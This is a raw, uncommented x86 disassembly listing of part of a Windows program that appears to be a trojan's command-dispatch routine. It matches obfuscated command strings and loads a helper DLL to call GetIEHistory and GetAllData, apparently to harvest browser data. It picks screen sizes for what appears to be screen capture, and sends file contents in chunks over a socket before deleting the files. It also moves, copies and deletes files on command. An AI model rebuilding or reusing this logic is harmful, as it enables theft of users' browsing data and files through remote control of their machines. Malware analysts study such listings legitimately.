pop ecx
test eax, eax
pop ecx
setne byte [ebp - 0x1fa01]
xor esi, esi
push ebx
inc esi
push esi
lea ecx, [ebp - 0x1fe44]
call fcn.00409968
cmp byte [ebp - 0x1fa01], bl
je 0x41807c
push 0xffffffffffffffff
push ebx
lea eax, [ebp - 0x4c]
push eax
lea ecx, [ebp - 0x100]
call fcn.0040c660
or edi, 0xffffffff
push edi
push ebx
mov esi, 0x443520
push esi
lea ecx, [ebp - 0x100]
call fcn.004092d0
inc eax
push eax
lea eax, [ebp - 0x1fe7c]
push eax
lea ecx, [ebp - 0x100]
call fcn.0040d832
push edi
push ebx
push eax
lea ecx, [ebp - 0x100]
mov byte [ebp - 4], 0x55
call fcn.0040c660
push ebx
push 1
lea ecx, [ebp - 0x1fe7c]
mov byte [ebp - 4], 0x54
call fcn.00409968
push edi
push ebx
lea eax, [ebp - 0x100]
push eax
lea ecx, [ebp - 0x170]
call fcn.0040c660
push edi
push ebx
lea eax, [ebp - 0x100]
push eax
lea ecx, [ebp - 0x138]
call fcn.0040c660
push ebx
mov edi, 0x4435e0
push edi
lea ecx, [ebp - 0x100]
call fcn.004092d0
push eax
push ebx
lea eax, [ebp - 0x1feb4]
push eax
lea ecx, [ebp - 0x100]
call fcn.0040d832
push 0xffffffffffffffff
push ebx
push eax
lea ecx, [ebp - 0x100]
mov byte [ebp - 4], 0x56
call fcn.0040c660
push ebx
push 1
lea ecx, [ebp - 0x1feb4]
mov byte [ebp - 4], 0x54
call fcn.00409968
push 0xffffffffffffffff
push ebx
push esi
lea ecx, [ebp - 0x138]
call fcn.004092d0
inc eax
push eax
lea eax, [ebp - 0x1feec]
push eax
lea ecx, [ebp - 0x138]
call fcn.0040d832
push 0xffffffffffffffff
mov byte [ebp - 4], 0x57
push ebx
push eax
lea ecx, [ebp - 0x138]
call fcn.0040c660
push ebx
push 1
lea ecx, [ebp - 0x1feec]
mov byte [ebp - 4], 0x54
call fcn.00409968
push 0xffffffffffffffff
push edi
lea ecx, [ebp - 0x138]
call fcn.004092f1
push eax
push ebx
lea eax, [ebp - 0x1ff5c]
push eax
lea ecx, [ebp - 0x138]
call fcn.0040d832
push 0xffffffffffffffff
push ebx
push eax
lea ecx, [ebp - 0x138]
mov byte [ebp - 4], 0x58
call fcn.0040c660
push ebx
push 1
lea ecx, [ebp - 0x1ff5c]
mov byte [ebp - 4], 0x54
call fcn.00409968
or edi, 0xffffffff
push edi
push ebx
mov esi, 0x444470
push esi
lea ecx, [ebp - 0x170]
call fcn.004092d0
inc eax
push eax
lea eax, [ebp - 0x1ff94]
push eax
lea ecx, [ebp - 0x170]
call fcn.0040d832
push edi
push ebx
push eax
lea ecx, [ebp - 0x170]
mov byte [ebp - 4], 0x59
call fcn.0040c660
push ebx
push 1
lea ecx, [ebp - 0x1ff94]
mov byte [ebp - 4], 0x54
call fcn.00409968
push edi
push esi
lea ecx, [ebp - 0x170]
call fcn.004092f1
push eax
push ebx
lea eax, [ebp - 0x1ffcc]
push eax
lea ecx, [ebp - 0x170]
call fcn.0040d832
push edi
push ebx
push eax
lea ecx, [ebp - 0x170]
mov byte [ebp - 4], 0x5a
call fcn.0040c660
push ebx
push 1
lea ecx, [ebp - 0x1ffcc]
mov byte [ebp - 4], 0x54
call fcn.00409968
cmp dword [ebp - 0xe8], 0x10
mov eax, dword [ebp - 0xfc]
jae 0x417f5f
lea eax, [ebp - 0xfc]
push eax
call fcn.0042f5ef
sub eax, ebx
pop ecx
je 0x417f97
dec eax
je 0x417f8b
dec eax
je 0x417f7f
dec eax
jne 0x417f97
mov esi, 0x500
mov edi, 0x320
jmp 0x417f9b
mov esi, 0x400
mov edi, 0x300
jmp 0x417f9b
mov esi, 0x320
mov edi, 0x258
jmp 0x417f9b
xor esi, esi
xor edi, edi
cmp dword [ebp - 0x120], 0x10
mov eax, dword [ebp - 0x134]
jae 0x417fb0
lea eax, [ebp - 0x134]
push eax
call fcn.0042f5ef
pop ecx
push eax
push edi
push esi
sub esp, 0x1c
lea eax, [ebp - 0x170]
mov ecx, esp
mov dword [ebp - 0x1fa0c], esp
push eax
call fcn.0040d2ff
call fcn.0040f8a0
add esp, 0x28
cmp al, bl
je 0x417fef
push 0x45bdf0
lea ecx, [ebp - 0xac]
call fcn.0040d325
jmp 0x41805e
push 1
push 0x1b6
push 2
push 0x45c1f0
lea ecx, [ebp - 0x20708]
call fcn.00413315
lea eax, [ebp - 0x20708]
push str.Error
push eax
mov byte [ebp - 4], 0x5b
call fcn.0040bf56
pop ecx
pop ecx
lea ecx, [ebp - 0x20708]
call fcn.00410974
push 0x45bdf0
lea ecx, [ebp - 0xac]
call fcn.0040d325
lea ecx, [ebp - 0x206a8]
mov byte [ebp - 4], 0x54
call fcn.004133b5
lea ecx, [ebp - 0x206a8]
mov dword [ebp - 0x206a8], 0x442e98
call fcn.0041c559
lea ecx, [ebp - 0x100]
call fcn.0040b66d
lea ecx, [ebp - 0x138]
call fcn.0040b66d
push 0x10
pop edi
jmp 0x41833c
lea eax, [ebp - 0x20004]
push str.gKg5XIBmKgKEVXbwhUazRnK
push eax
call fcn.00411c3b
cmp dword [eax + 0x18], edi
pop ecx
pop ecx
jb 0x418099
mov eax, dword [eax + 4]
jmp 0x41809c
add eax, 4
cmp dword [ebp - 0x34], edi
mov ecx, dword [ebp - 0x48]
jae 0x4180a7
lea ecx, [ebp - 0x48]
push eax
push ecx
call fcn.00431150
pop ecx
pop ecx
push ebx
test eax, eax
push esi
lea ecx, [ebp - 0x20004]
setne byte [ebp - 0x1fa01]
call fcn.00409968
cmp byte [ebp - 0x1fa01], bl
je 0x418128
push 0x45a1f0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
je 0x41811e
push str.GetIEHistory
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
cmp esi, ebx
je 0x418117
push ebx
push ebx
push 0x405ef2
mov dword [0x45d850], 1
call fcn.0042e846
push 0x458570
call esi
add esp, 0x10
mov dword [0x45d850], ebx
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push 0x45b1f0
jmp 0x4181cf
lea eax, [ebp - 0x2003c]
push str.gKg5XIBmKgKEVXbwBVYzNnK
push eax
call fcn.00411c3b
cmp dword [eax + 0x18], edi
pop ecx
pop ecx
jb 0x418145
mov eax, dword [eax + 4]
jmp 0x418148
add eax, 4
cmp dword [ebp - 0x34], edi
mov ecx, dword [ebp - 0x48]
jae 0x418153
lea ecx, [ebp - 0x48]
push eax
push ecx
call fcn.00431150
pop ecx
pop ecx
push ebx
test eax, eax
push esi
lea ecx, [ebp - 0x2003c]
setne byte [ebp - 0x1fa01]
call fcn.00409968
cmp byte [ebp - 0x1fa01], bl
je 0x4181da
push 0x45a1f0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
je 0x4181ca
push str.GetAllData
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
cmp esi, ebx
je 0x4181c3
push ebx
push ebx
push 0x405ef2
mov dword [0x45d850], 1
call fcn.0042e846
push 0x458570
call esi
add esp, 0x10
mov dword [0x45d850], ebx
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push 0x45adf0
call fcn.0041250e
pop ecx
jmp 0x418074
lea eax, [ebp - 0x20074]
push str.gKg5XIBmKoySllHTvdmK
push eax
call fcn.00411c3b
cmp dword [eax + 0x18], edi
pop ecx
pop ecx
jb 0x4181f7
mov eax, dword [eax + 4]
jmp 0x4181fa
add eax, 4
cmp dword [ebp - 0x34], edi
mov ecx, dword [ebp - 0x48]
jae 0x418205
lea ecx, [ebp - 0x48]
push eax
push ecx
call fcn.00431150
pop ecx
pop ecx
push ebx
test eax, eax
push esi
lea ecx, [ebp - 0x20074]
setne byte [ebp - 0x1fa01]
call fcn.00409968
cmp byte [ebp - 0x1fa01], bl
je 0x41823c
push 0x45a9f0
call fcn.0041250e
pop ecx
jmp 0x41833c
lea eax, [ebp - 0x200ac]
push str.gKg5XIBmKoyQslGci9WYyRGTvdmK
push eax
call fcn.00411c3b
cmp dword [eax + 0x18], edi
pop ecx
pop ecx
jb 0x418259
mov eax, dword [eax + 4]
jmp 0x41825c
add eax, 4
cmp dword [ebp - 0x34], edi
mov ecx, dword [ebp - 0x48]
jae 0x418267
lea ecx, [ebp - 0x48]
push eax
push ecx
call fcn.00431150
pop ecx
pop ecx
push ebx
test eax, eax
push esi
lea ecx, [ebp - 0x200ac]
setne byte [ebp - 0x1fa01]
call fcn.00409968
cmp byte [ebp - 0x1fa01], bl
je 0x418295
push 0x45a5f0
jmp 0x418231
or esi, 0xffffffff
push esi
push ebx
lea eax, [ebp - 0x4c]
push eax
lea ecx, [ebp - 0xac]
call fcn.0040c660
push esi
push ebx
push 0x443520
lea ecx, [ebp - 0xac]
call fcn.004092d0
inc eax
push eax
lea eax, [ebp - 0x200e4]
push eax
lea ecx, [ebp - 0xac]
call fcn.0040d832
push esi
push ebx
push eax
lea ecx, [ebp - 0xac]
mov byte [ebp - 4], 0x5c
call fcn.0040c660
push ebx
push 1
lea ecx, [ebp - 0x200e4]
mov byte [ebp - 4], 0x54
call fcn.00409968
push ebx
push 0x4435e0
lea ecx, [ebp - 0xac]
call fcn.004092d0
push eax
push ebx
lea eax, [ebp - 0x2011c]
push eax
lea ecx, [ebp - 0xac]
call fcn.0040d832
push esi
push ebx
push eax
lea ecx, [ebp - 0xac]
mov byte [ebp - 4], 0x5d
call fcn.0040c660
push ebx
push 1
lea ecx, [ebp - 0x2011c]
mov byte [ebp - 4], 0x54
call fcn.00409968
cmp dword [ebp - 0x94], edi
mov eax, dword [ebp - 0xa8]
jae 0x418350
lea eax, [ebp - 0xa8]
push 1
push 0x1b6
push 0x25
push eax
lea ecx, [ebp - 0x1fac4]
call fcn.004109e6
lea eax, [ebp - 0x20674]
push eax
lea ecx, [ebp - 0x1fac4]
mov byte [ebp - 4], 0x5e
call fcn.004093cd
mov ecx, dword [eax + 8]
add ecx, dword [eax]
mov dword [ebp - 0x1fa14], ecx
lea ecx, [ebp - 0x1fac4]
call fcn.00410acd
cmp dword [ebp - 0x94], edi
mov eax, dword [ebp - 0xa8]
jae 0x4183a5
lea eax, [ebp - 0xa8]
push 0x444448
push eax
call fcn.00431138
pop ecx
pop ecx
mov dword [ebp - 0x1fa10], eax
cmp dword [ebp - 0x1fa14], ebx
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov edi, 0xfa00
jle 0x418690
cmp dword [ebp - 0x1fa14], edi
push dword [ebp - 0x1fa10]
lea eax, [ebp - 0x1fa00]
jl 0x418532
push edi
push 1
push eax
call fcn.00431090
add esp, 0x10
mov dword [ebp - 0x1fa0c], ebx
cmp dword [ebp - 0x1fa0c], edi
jge 0x418681
mov eax, dword [ebp - 0x1fa0c]
mov edi, 0xfa00
push ebx
mov ecx, edi
sub ecx, eax
push ecx
lea eax, [ebp + eax - 0x1fa00]
push eax
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_send]
push 0xa
mov esi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp esi, ebx
jle 0x41843d
add dword [ebp - 0x1fa0c], esi
jmp 0x418446
cmp esi, 0xffffffff
je 0x418644
push edi
lea eax, [ebp - 0x10000]
push ebx
push eax
call fcn.0042d760
add esp, 0xc
or esi, 0xffffffff
mov dword [ebp - 0x1fa18], esi
cmp esi, ebx
lea eax, [ebp - 0x10000]
jge 0x418522
push ebx
push edi
push eax
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_recv]
mov esi, eax
push 1
mov dword [ebp - 0x1fa18], esi
mov byte [ebp + esi - 0x10000], bl
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x20154]
push str.gKg5XIBmKwTIq82aqEiP
push eax
call fcn.00411c3b
cmp dword [eax + 0x18], 0x10
pop ecx
pop ecx
jb 0x4184af
mov eax, dword [eax + 4]
jmp 0x4184b2
add eax, 4
push eax
lea eax, [ebp - 0x10000]
push eax
call fcn.00431150
pop ecx
pop ecx
neg eax
sbb al, al
push ebx
inc al
push 1
lea ecx, [ebp - 0x20154]
mov byte [ebp - 0x1fa01], al
call fcn.00409968
cmp byte [ebp - 0x1fa01], bl
je 0x418460
push dword [ebp - 0x1fa10]
call fcn.0042fe9f
pop ecx
lea ecx, [ebp - 0x1fa60]
mov dword [ebp - 0x1fa10], ebx
mov byte [ebp - 4], 0x54
call fcn.00410a87
lea ecx, [ebp - 0x1fa60]
mov dword [ebp - 0x1fa60], 0x442e98
call fcn.0041c559
jmp 0x418632
push edi
push ebx
push eax
call fcn.0042d760
add esp, 0xc
jmp 0x4183f9
mov esi, dword [ebp - 0x1fa14]
push esi
push 1
push eax
call fcn.00431090
add esp, 0x10
mov byte [ebp + esi - 0x1fa00], bl
xor edi, edi
cmp edi, dword [ebp - 0x1fa14]
jge 0x418681
mov eax, dword [ebp - 0x1fa14]
push ebx
sub eax, edi
push eax
lea eax, [ebp + edi - 0x1fa00]
push eax
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_send]
push 0xa
mov esi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp esi, ebx
jle 0x41863b
add edi, esi
or esi, 0xffffffff
mov dword [ebp - 0x1fa18], esi
cmp esi, ebx
lea eax, [ebp - 0x10000]
jge 0x41866d
push ebx
push 0xfa00
push eax
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_recv]
mov esi, eax
push 1
mov dword [ebp - 0x1fa18], esi
mov byte [ebp + esi - 0x10000], bl
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x2018c]
push str.gKg5XIBmKwTIq82aqEiP
push eax
call fcn.00411c3b
pop ecx
pop ecx
mov ecx, eax
call fcn.00406a63
push eax
lea eax, [ebp - 0x10000]
push eax
call fcn.00431150
pop ecx
pop ecx
neg eax
sbb al, al
push ebx
inc al
push 1
lea ecx, [ebp - 0x2018c]
mov byte [ebp - 0x1fa01], al
call fcn.00409968
cmp byte [ebp - 0x1fa01], bl
je 0x418591
push dword [ebp - 0x1fa10]
call fcn.0042fe9f
pop ecx
lea ecx, [ebp - 0x1fac4]
mov dword [ebp - 0x1fa10], ebx
mov byte [ebp - 4], 0x54
call fcn.004125cf
mov byte [ebp - 4], 0xe
jmp 0x415c3c
cmp esi, 0xffffffff
jne 0x418588
lea ecx, [ebp - 0x1fa60]
mov byte [ebp - 4], 0x54
call fcn.00410a87
lea ecx, [ebp - 0x1fa60]
mov dword [ebp - 0x1fa60], 0x442e98
call fcn.0041c559
jmp 0x41903a
push 0xfa00
push ebx
push eax
call fcn.0042d760
add esp, 0xc
jmp 0x41854d
sub dword [ebp - 0x1fa14], 0xfa00
jmp 0x4183b8
cmp dword [ebp - 0x1fa10], ebx
je 0x4186a4
push dword [ebp - 0x1fa10]
call fcn.0042fe9f
pop ecx
push 0x45b9f0
mov dword [ebp - 0x1fa10], ebx
call esi
push 0x45c1f0
call esi
push 0x45bdf0
call esi
push 0x45b1f0
call esi
push 0x45adf0
call esi
lea ecx, [ebp - 0x1fac4]
mov byte [ebp - 4], 0x54
call fcn.004125cf
jmp 0x418e54
lea eax, [ebp - 0x201c4]
push str.gKg5XIBmKoCRlxWZ0VmRpxWZzpCP
push eax
call fcn.00411c3b
cmp dword [ebp - 0x34], edi
mov esi, dword [ebp - 0x48]
pop ecx
pop ecx
jae 0x41870c
lea esi, [ebp - 0x48]
mov ecx, eax
call fcn.00406a63
push eax
push esi
call fcn.00431150
pop ecx
pop ecx
push ebx
test eax, eax
push 1
lea ecx, [ebp - 0x201c4]
setne byte [ebp - 0x1fa01]
call fcn.00409968
cmp byte [ebp - 0x1fa01], bl
je 0x418856
push 0xffffffffffffffff
push ebx
lea eax, [ebp - 0x4c]
push eax
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 0x60
call fcn.0040c660
push 0xffffffffffffffff
push ebx
push 0x443520
lea ecx, [ebp - 0x30]
call fcn.004092d0
inc eax
push eax
lea eax, [ebp - 0x201fc]
push eax
lea ecx, [ebp - 0x30]
call fcn.0040d832
push eax
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 0x61
call fcn.0040d822
push ebx
push 1
lea ecx, [ebp - 0x201fc]
mov byte [ebp - 4], 0x60
call fcn.00409968
lea eax, [ebp - 0x30]
push 0x4435e0
push eax
call fcn.0040b142
cmp al, bl
pop ecx
pop ecx
je 0x418c9d
push ebx
mov esi, 0x443518
push esi
lea ecx, [ebp - 0x30]
call fcn.004092d0
push eax
push ebx
lea eax, [ebp - 0x20234]
push eax
lea ecx, [ebp - 0x30]
call fcn.0040d832
push eax
lea ecx, [ebp - 0x1a8]
mov byte [ebp - 4], 0x62
call fcn.0040d822
push ebx
push 1
lea ecx, [ebp - 0x20234]
mov byte [ebp - 4], 0x60
call fcn.00409968
push 0xffffffffffffffff
push ebx
push esi
lea ecx, [ebp - 0x30]
call fcn.004092d0
inc eax
push eax
lea eax, [ebp - 0x2026c]
push eax
lea ecx, [ebp - 0x30]
call fcn.0040d832
push eax
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 0x63
call fcn.0040d822
push ebx
push 1
lea ecx, [ebp - 0x2026c]
mov byte [ebp - 4], 0x60
call fcn.00409968
cmp dword [ebp - 0x190], 0x10
mov eax, dword [ebp - 0x1a4]
jae 0x41883d
lea eax, [ebp - 0x1a4]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x418792
lea eax, [ebp - 0x202dc]
push str.gKg5XIBmKoyQvBXeQF2c0VmRpxWZzpCP
push eax
call fcn.00411c3b
pop ecx
pop ecx
mov esi, dword [ebp - 0x48]
mov edi, 0x10000
or dword [ebp - 0x1fa08], edi
cmp dword [ebp - 0x34], 0x10
mov byte [ebp - 4], 0x65
jae 0x418884
lea esi, [ebp - 0x48]
mov ecx, eax
call fcn.00406a63
push eax
push esi
call fcn.00431150
test eax, eax
pop ecx
pop ecx
jne 0x4188d8
lea eax, [ebp - 0x202a4]
push str.gKg5XIBmKgKDVHdQF2c0VmRpxWZzpCP
push eax
call fcn.00411c3b
or byte [ebp - 0x1fa06], 2
cmp dword [ebp - 0x34], 0x10
mov esi, dword [ebp - 0x48]
pop ecx
pop ecx
jae 0x4188be
lea esi, [ebp - 0x48]
mov ecx, eax
call fcn.00406a63
push eax
push esi
call fcn.00431150
test eax, eax
pop ecx
pop ecx
mov byte [ebp - 0x1fa01], bl
je 0x4188df
mov byte [ebp - 0x1fa01], 1
test byte [ebp - 0x1fa06], 2
je 0x4188fd
and byte [ebp - 0x1fa06], 0xfd
push ebx
push 1
lea ecx, [ebp - 0x202a4]
call fcn.00409968
test dword [ebp - 0x1fa08], edi
mov dword [ebp - 4], 0xe
je 0x418921
and byte [ebp - 0x1fa06], 0xfe
push ebx
push 1
lea ecx, [ebp - 0x202dc]
call fcn.00409968
cmp byte [ebp - 0x1fa01], bl
je 0x418caf
push 0xffffffffffffffff
push ebx
lea eax, [ebp - 0x4c]
push eax
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 0x66
call fcn.0040c660
push 0xffffffffffffffff
push ebx
mov esi, 0x443520
push esi
lea ecx, [ebp - 0x30]
call fcn.004092d0
inc eax
push eax
lea eax, [ebp - 0x20314]
push eax
lea ecx, [ebp - 0x30]
call fcn.0040d832
push eax
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 0x67
call fcn.0040d822
xor edi, edi
push ebx
inc edi
push edi
lea ecx, [ebp - 0x20314]
mov byte [ebp - 4], 0x66
call fcn.00409968
push 0xffffffffffffffff
push 0xffffffffffffffff
push 0x4435e0
lea ecx, [ebp - 0x30]
mov dword [ebp - 0x1fa28], ebx
call fcn.004092f1
inc eax
push eax
lea eax, [ebp - 0x2034c]
push eax
lea ecx, [ebp - 0x30]
call fcn.0040d832
push eax
lea ecx, [ebp - 0x18c]
mov byte [ebp - 4], 0x68
call fcn.0040d822
push ebx
push edi
lea ecx, [ebp - 0x2034c]
mov byte [ebp - 4], 0x66
call fcn.00409968
push ebx
push esi
lea ecx, [ebp - 0x18c]
call fcn.004092d0
push eax
push ebx
lea eax, [ebp - 0x20384]
push eax
lea ecx, [ebp - 0x18c]
call fcn.0040d832
push eax
lea ecx, [ebp - 0x18c]
mov byte [ebp - 4], 0x69
call fcn.0040d822
push ebx
push edi
lea ecx, [ebp - 0x20384]
mov byte [ebp - 4], 0x66
call fcn.00409968
push 0xffffffffffffffff
push 0x4435e0
lea ecx, [ebp - 0x30]
call fcn.004092f1
inc eax
push eax
push ebx
lea eax, [ebp - 0x203bc]
push eax
lea ecx, [ebp - 0x30]
call fcn.0040d832
push eax
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 0x6a
call fcn.0040d822
push ebx
push edi
lea ecx, [ebp - 0x203bc]
mov byte [ebp - 4], 0x66
call fcn.00409968
lea eax, [ebp - 0x30]
push 0x4435e0
push eax
call fcn.0040b142
cmp al, bl
pop ecx
pop ecx
lea ecx, [ebp - 0x30]
je 0x418c3b
push ebx
mov esi, 0x443518
push esi
call fcn.004092d0
push eax
push ebx
lea eax, [ebp - 0x203f4]
push eax
lea ecx, [ebp - 0x30]
call fcn.0040d832
push eax
lea ecx, [ebp - 0x154]
mov byte [ebp - 4], 0x6b
call fcn.0040d822
push ebx
push edi
lea ecx, [ebp - 0x203f4]
mov byte [ebp - 4], 0x66
call fcn.00409968
push 0xffffffffffffffff
push ebx
lea eax, [ebp - 0x154]
push eax
lea ecx, [ebp - 0xe4]
call fcn.0040c660
push 0xffffffffffffffff
push 0xffffffffffffffff
push 0x44313c
lea ecx, [ebp - 0xe4]
call fcn.004092f1
push eax
lea eax, [ebp - 0x2042c]
push eax
lea ecx, [ebp - 0xe4]
call fcn.0040d832
push eax
lea ecx, [ebp - 0xe4]
mov byte [ebp - 4], 0x6c
call fcn.0040d822
push ebx
push edi
lea ecx, [ebp - 0x2042c]
mov byte [ebp - 4], 0x66
call fcn.00409968
lea eax, [ebp - 0xe4]
push eax
lea eax, [ebp - 0x18c]
push eax
lea eax, [ebp - 0x20464]
push eax
call fcn.0040e282
add esp, 0xc
push eax
lea ecx, [ebp - 0xe4]
mov byte [ebp - 4], 0x6d
call fcn.0040d822
push ebx
push edi
lea ecx, [ebp - 0x20464]
mov byte [ebp - 4], 0x66
call fcn.00409968
push 0xffffffffffffffff
push ebx
push esi
lea ecx, [ebp - 0x30]
call fcn.004092d0
inc eax
push eax
lea eax, [ebp - 0x2049c]
push eax
lea ecx, [ebp - 0x30]
call fcn.0040d832
push eax
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 0x6e
call fcn.0040d822
mov byte [ebp - 4], 0x66
push ebx
push edi
lea ecx, [ebp - 0x2049c]
call fcn.00409968
lea eax, [ebp - 0x204d4]
push str.gKg5XIBmKgKDVHdQF2c0VmRpxWZzpCP
push eax
call fcn.00411c3b
cmp dword [ebp - 0x34], 0x10
mov esi, dword [ebp - 0x48]
pop ecx
pop ecx
jae 0x418b9b
lea esi, [ebp - 0x48]
mov ecx, eax
call fcn.00406a63
push eax
push esi
call fcn.00431150
pop ecx
pop ecx
push ebx
test eax, eax
push edi
lea ecx, [ebp - 0x204d4]
setne byte [ebp - 0x1fa01]
call fcn.00409968
cmp byte [ebp - 0x1fa01], bl
mov ecx, dword [ebp - 0xe0]
je 0x418c00
cmp dword [ebp - 0xcc], 0x10
jae 0x418bde
lea ecx, [ebp - 0xe0]
cmp dword [ebp - 0x13c], 0x10
mov eax, dword [ebp - 0x150]
jae 0x418bf3
lea eax, [ebp - 0x150]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileA]
jmp 0x418a4d
cmp dword [ebp - 0xcc], 0x10
jae 0x418c0f
lea ecx, [ebp - 0xe0]
cmp dword [ebp - 0x13c], 0x10
mov eax, dword [ebp - 0x150]
jae 0x418c24
lea eax, [ebp - 0x150]
push ebx
lea edx, [ebp - 0x1fa28]
push edx
push ebx
push ebx
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileExA]
jmp 0x418a4d
or esi, 0xffffffff
push esi
push ebx
call fcn.00409a0d
push ebx
push ebx
lea ecx, [ebp - 0x30]
call fcn.0040b845
push esi
push ebx
lea ecx, [ebp - 0x154]
call fcn.00409a0d
push ebx
push ebx
lea ecx, [ebp - 0x154]
call fcn.0040b845
push esi
push ebx
lea ecx, [ebp - 0x18c]
call fcn.00409a0d
push ebx
push ebx
lea ecx, [ebp - 0x18c]
call fcn.0040b845
push esi
push ebx
lea ecx, [ebp - 0xe4]
call fcn.00409a0d
push ebx
push ebx
lea ecx, [ebp - 0xe4]
call fcn.0040b845
mov dword [ebp - 4], 0xe
jmp 0x418da4
lea eax, [ebp - 0x2050c]
push str.gKg5XIBmKqoVawpCP
push eax
call fcn.00411c3b
cmp dword [ebp - 0x34], 0x10
mov esi, dword [ebp - 0x48]
pop ecx
pop ecx
jae 0x418cce
lea esi, [ebp - 0x48]
mov ecx, eax
call fcn.00406a63
push eax
push esi
call fcn.00431150
pop ecx
pop ecx
push ebx
test eax, eax
push 1
lea ecx, [ebp - 0x2050c]
setne byte [ebp - 0x1fa01]
call fcn.00409968
cmp byte [ebp - 0x1fa01], bl
je 0x418d10
push 0xffffffffffffffff
push ebx
lea eax, [ebp - 0x4c]
push eax
lea ecx, [ebp - 0x30]
call fcn.0040c660
push 0x7a
jmp 0x418d6f
lea eax, [ebp - 0x20544]
push str.gKg5XIBmKoSVupVawpCP
push eax
call fcn.00411c3b
cmp dword [ebp - 0x34], 0x10
mov esi, dword [ebp - 0x48]
pop ecx
pop ecx
jae 0x418d2f
lea esi, [ebp - 0x48]
mov ecx, eax
call fcn.00406a63
push eax
push esi
call fcn.00431150
pop ecx
pop ecx
push ebx
test eax, eax
push 1
lea ecx, [ebp - 0x20544]
setne byte [ebp - 0x1fa01]
call fcn.00409968
cmp byte [ebp - 0x1fa01], bl
je 0x418da4
push 0xffffffffffffffff
push ebx
lea eax, [ebp - 0x4c]
push eax
lea ecx, [ebp - 0x30]
call fcn.0040c660
push 0x75
sub esp, 0x1c
lea eax, [ebp - 0x30]
mov ecx, esp
mov dword [ebp - 0x1fa0c], esp
push eax
call fcn.0040d2ff
call fcn.0040f3c8
add esp, 0x20
push 0xffffffffffffffff
push ebx
lea ecx, [ebp - 0x30]
call fcn.00409a0d
lea ecx, [ebp - 0x30]
push ebx
push ebx
call fcn.0040b845
jmp 0x418da4
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x2057c]
push str.gKg5XIBmKwTIq82aqEiP
push eax
xor esi, esi
call fcn.00411c3b
pop ecx
pop ecx
mov ecx, eax
call fcn.00406a63
push eax
lea eax, [ebp - 0x10000]
push eax
call fcn.00431150
pop ecx
pop ecx
neg eax
sbb al, al
push ebx
inc al
push 1
lea ecx, [ebp - 0x2057c]
mov byte [ebp - 0x1fa01], al
call fcn.00409968
cmp byte [ebp - 0x1fa01], bl
je 0x418e77
cmp esi, dword [ebp - 0x1fa18]
jge 0x418e43
mov eax, dword [ebp - 0x1fa18]
push ebx
sub eax, esi
push eax
lea eax, [ebp + esi - 0x10000]
push eax
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_send]
push 1
mov edi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp edi, ebx
jle 0x418e2e
add esi, edi
jmp 0x418df9
cmp edi, 0xffffffff
je 0x41903a
mov byte [ebp - 0x1fa01], 1
jmp 0x419040
lea eax, [ebp - 0x10000]
push eax
call fcn.0042d620
test eax, eax
pop ecx
jbe 0x418e77
lea eax, [ebp - 0x90]
push ebx
push eax
call fcn.0042d620
pop ecx
push eax
lea eax, [ebp - 0x90]
push eax
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_send]
jmp 0x418e77
push 0xfa00
lea eax, [ebp - 0x10000]
push ebx
push eax
call fcn.0042d760
add esp, 0xc
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, dword [ebp - 0x1fa18]
cmp esi, ebx
mov dword [ebp - 4], 0xd
jne 0x415c01
xor esi, esi
push ebx
inc esi
push esi
lea ecx, [ebp - 0x170]
call fcn.00409968
push ebx
push esi
lea ecx, [ebp - 0x138]
call fcn.00409968
push ebx
push esi
lea ecx, [ebp - 0x100]
call fcn.00409968
push ebx
push esi
lea ecx, [ebp - 0x84]
call fcn.00409968
push ebx
push esi
lea ecx, [ebp - 0x68]
call fcn.00409968
push ebx
push esi
lea ecx, [ebp - 0xe4]
call fcn.00409968
push ebx
push esi
lea ecx, [ebp - 0x18c]
call fcn.00409968
push ebx
push esi
lea ecx, [ebp - 0xac]
call fcn.00409968
push ebx
push esi
lea ecx, [ebp - 0x1a8]
call fcn.00409968
push ebx
push esi
lea ecx, [ebp - 0xc8]
call fcn.00409968
push ebx
push esi
lea ecx, [ebp - 0x11c]
call fcn.00409968
push ebx
push esi
lea ecx, [ebp - 0x154]
call fcn.00409968
push ebx
push esi
lea ecx, [ebp - 0x30]
call fcn.00409968
push ebx
push esi
lea ecx, [ebp - 0x4c]
call fcn.00409968
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov ecx, dword [ebp - 0x14]
call fcn.0042d7f1
pop edi
pop esi
pop ebx
leave
ret
cmp esi, 0xffffffff
jne 0x418e9a
mov byte [ebp - 0x1fa01], bl
xor esi, esi
push ebx
inc esi
push esi
lea ecx, [ebp - 0x170]
call fcn.00409968
push ebx
push esi
lea ecx, [ebp - 0x138]
call fcn.00409968
push ebx
push esi
lea ecx, [ebp - 0x100]
call fcn.00409968
push ebx
push esi
